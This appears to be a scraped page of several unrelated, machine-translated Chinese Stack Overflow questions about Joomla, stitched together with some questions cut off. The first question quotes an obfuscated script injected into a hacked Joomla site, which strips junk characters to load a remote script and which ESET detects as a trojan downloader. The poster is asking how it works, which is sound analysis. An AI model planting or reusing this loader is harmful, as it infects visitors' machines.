我的Joomla!网站一再被黑客入侵.不知何故,有人设法将以下垃圾注入关键的php脚本,但我的意思是不要谈论配置Joomla.该网站访问量不大(有时我担心我可能是该网站的唯一访问者...)而且我并不关心网站是否备份和运行.我最终会处理这件事.
我的问题是,这种垃圾是如何运作的?我看着它,我只是看不出它如何造成任何伤害?它的作用是尝试下载一个名为ChangeLog.pdf的PDF文件,该文件感染了一个木马,打开后会冻结你的Acrobat并对你的机器造成严重破坏.它怎么做,我不知道,我不在乎.但是下面的脚本如何调用下载?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
Run Code Online (Sandbox Code Playgroud)
ESET已将此代码检测为JS/TrojanDownloader.Agent.NRO木马
嗨,我在joomla的一些CSS课程有问题.我在一个模块中有两个div,一个是wrapper class ="wrapper",另一个是content class ="content".内容是封装内部.我想要做的是在内容类上定位css样式.通常我会在样式表中放入.content {my style info},但问题是这个类在整个页面中被多次使用.所以在后端,你可以为模块分配一个类名,所以我称之为.testimonials.
所以我不改变页面上的所有其他内容类,我试图通过这样做来定位它:
.testimonials .content {my style info I am trying to apply}
Run Code Online (Sandbox Code Playgroud)
但它不起作用,我知道你可以用div做到这一点,所以
#testimonials .content {my style info I am trying to apply}
Run Code Online (Sandbox Code Playgroud)
但我的问题是这可以通过类完成吗?,如果因为我试图使用以下内容出错了:
.testimonials .content {font-size:12px; width:300px !important;}
Run Code Online (Sandbox Code Playgroud)
由于某种原因,内容没有包装,只是在段落末尾的页面上消失了,所以我试图确保内容所在的第一级课程没有重叠,奇怪的是即使我修复了内容所在的div类到50px它仍然不会包装文本,所以我不确定我是否正确定位它?
编辑>>>>>>>>>> ..
html Joomla创建基本上看起来像这样>>
<div class="wrapper">
<div class="content">SOME CONTENT</div
</div>
Run Code Online (Sandbox Code Playgroud)
然后它被包含在一百万个其他div中,以古老的Joomla风格.
我给了模块一类推荐书,所以它最终看起来像:
<div class="testimonials">
<div class="wrapper">
<div class="content">SOME CONTENT</div
</div>
</div>
Run Code Online (Sandbox Code Playgroud)
编辑3 >>>>>>>好的,这就是吐出的东西
<div class="testimonials">
<div class="key4-block">
<div class="module-title"><h2 class="title">Client Testimonials</h2></div>
<div class="key4-module-inner">
<div class="module-content">
<script type="text/javascript">
RokStoriesImage['rokstories-184'].push('');
RokStoriesImage['rokstories-184'].push('');
RokStoriesImage['rokstories-184'].push('');
</script>
<div id="rokstories-184" …Run Code Online (Sandbox Code Playgroud) 我正在使用Joomla!3.0,包括Twitter Bootstrap 2.1.0.我想做我自己的Joomla!模板,我需要使用下拉菜单.当我包含以下CSS/JS时:
<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
<script type="text/javascript" src="<?php echo $this->baseurl ?>/media/jui/js/bootstrap.min.js"></script>
<script type="text/javascript" src="<?php echo $this->baseurl ?>/media/jui/css/bootstrap.css"></script>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template; ?>/css/Site.css" rel="stylesheet" type="text/css">
<link rel="shotcut icon" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template; ?>/css/images/favicon.ico" type="image/x-icon">
Run Code Online (Sandbox Code Playgroud)
我得到以下CSS错误:
Uncaught SyntaxError: Unexpected token {
Run Code Online (Sandbox Code Playgroud)
在/media/jui/css/bootstrap.css第19行
我们正在为我们正在寻求构建的新Web事物评估几种解决方案.它有几个方面,包括用户管理,内容管理,活动,社区和金融交易.
我们正在寻找自己的框架,使用Joomla + Vaadin + CAS(仅举几例)来DIY,但我想知道我们是否应该简单地采用Liferay门户进行一站式购物?
我一直在寻找推荐书,并没有提出太多建议.我很欣赏任何使用Liferay(或选择不参加)的人,他们会分享它解决(或不解决)的技术障碍,以及可能创造的其他技术障碍.
谢谢!
我开发Joomla网站/组件/模块和插件,我经常需要能够使用JavaScript在页面加载时触发事件.大多数情况下,这是使用该window.onload功能完成的.
我的问题是:
我需要jos_users从外部php脚本[codeignitor] 访问joomla用户表以进行登录检查.
joomla存储这样的密码
4e9e4bcc5752d6f939aedb42408fd3aa:0vURRbyY8Ea0tlvnTFn7xcKpjTFyn0YT
Run Code Online (Sandbox Code Playgroud)
看起来这不是正常的MD5,所以我无法使用md5(password).
创建密码的可能方法是什么?
谢谢.
我在这里有一个问题,无法解决它: - /
我正在开发一个带后端的Joomla组件.在后端我设置了一个参数,dashboardId但我无法在视图中访问它们.我总是得到data:protected(当我转储params).好像我不允许访问该对象.
这是default.xml:
<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="Dashboard">
<message>
<![CDATA[dashboard LAYOUT DESCRIPTION]]>
</message>
</layout>
<fields name="params">
<fieldset name="params">
<field
name="dashboardId"
type="text"
label="Dashboard ID"
description="com_dashboard_desc"
default="1"
>
</field>
</fieldset>
</fields>
</metadata>
Run Code Online (Sandbox Code Playgroud)
现在,在view.html.php我尝试访问这样的参数:
$app = &JFactory::getApplication();
$params = JComponentHelper::getParams('com_dashboard');
$dashboardId = $params->get('dashboardId');
var_dump($dashboardId);
Run Code Online (Sandbox Code Playgroud)
当我做var_dump($dashboardId);我得到的NULL,但是当我倾倒$app,我可以看到dashboardID
每一个帮助将不胜感激!谢谢
我想创建自己提交的表单,该表单的值将存储在joomla数据库中.我如何使用Joomla连接代码与joomla数据库进行交互.
我有一个Joomla网站2.5.4,并使用Fabrik插件构建联系表单.当我提交联系表单时,我会收到JSON响应,而不是感谢您的页面.
我也从后端正确设置了表单.有关后端设置的详细信息,请参阅下图.

请检查下面的JSON响应
{
msg: "Record added/updated",
url: "index.php?option=com_content&view=article&id=24",
baseRedirect: false,
rowid: "0",
redirect_how: "newpage",
width: 300,
height: 300,
x_offset: 0,
y_offset: 0,
title: "",
reset_form: true
}
Run Code Online (Sandbox Code Playgroud)